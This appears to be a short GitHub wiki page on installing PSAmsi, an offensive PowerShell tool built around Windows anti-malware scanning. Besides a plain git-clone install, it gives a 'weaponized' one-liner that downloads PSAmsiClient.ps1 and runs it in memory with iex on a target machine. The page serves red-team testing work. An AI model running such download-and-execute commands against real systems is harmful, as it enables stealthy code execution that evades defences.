-
Notifications
You must be signed in to change notification settings - Fork 71
Installation and Setup
There's two options for installation/setup of PSAmsi.
- Traditional download to disk + Import-Module
- Download into memory ("weaponized" version)
If you plan to read the source code or develop on PSAmsi, option 1 is recommended. If you are looking for a simple/quick way to execute PSAmsi on a target machine, option 2 is recommended.
Download and import the module:
PS > git clone https://github.com/cobbr/PSAmsi
PS > cd ./PSAmsi
PS > Import-Module ./PSAmsi/PSAmsi.psd1
When developing offensive security tools, there's a dichotomy between wanting to write easy to read, modular, commented code and making tools stealthy/easy to deploy. PSAmsi solves this by just providing two copies. The "weaponized" PSAmsiClient.ps1 file is a simple combination of all the relevant portions of PSAmsi that would be deployed on a target.
Download PSAmsiClient.ps1 into memory and invoke it:
PS > (Invoke-WebRequest 'https://github.com/cobbr/PSAmsi/raw/master/PSAmsiClient.ps1').Content | iex
The requirements for PSAmsi is a Windows 10 machine with PowerShell 5.0+.
However, Start-PSAmsiServer can also be run on a Linux/MacOS machine with PowerShell 6.0+, usage for Start-PSAmsiServer is described here.